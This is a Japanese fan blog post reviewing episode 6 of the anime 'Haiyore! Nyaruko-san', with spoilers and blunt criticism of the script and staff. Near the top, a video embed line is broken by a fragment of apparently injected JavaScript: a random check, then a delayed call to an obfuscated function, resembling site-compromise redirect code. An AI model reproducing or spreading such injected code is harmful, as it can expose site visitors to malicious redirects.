【アニメ感想】這いよれ!ニャル子さん 第6話「マーケットの中の戦争」

[nicolink viandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deoid=”so17795688″]

ネタバレあり、そしてネガティブコメント


ハス太のお話終了。
初めて、それなりに尺使いましたね。



無双モードの描写が微妙だったけど、べつにいいよね。
もっと大量のMOBを大量のフォークで倒して欲しかった。
予算の都合なのかもしれないけど、どうにも脚本が無能なので、描写も無能なのかと思えてしまう今日この頃。




クー子と真尋の関係性を描写していないのに、このセリフの展開はありえないでしょ。
相変わらずアニメ化してるスタッフは無能だな。
やっぱり、そこらの小学生にアニメの脚本書いてもらったほうがマシ。

アニメだと、クー子が真尋を気に入ってる描写をカットしているのだから
クー子がいうなら、にゃる子一緒に行こうというべきで、真尋は来なくていいとかいうほうが自然。

ちゅうと半端に、フラグが建ってない状態で、フラグが立った後の台詞を持ってくるから矛盾が起きる。

ハス太の話でいい感じになってくるかと思ったら、やっぱり駄目だった。

これからどうなるんだろ。
このまで話をすっ飛ばしてるなら、シャンタッ君が真尋さんに役に立ちたいの話がアニメであるかも?

それを期待することにしよう。

コメントを残す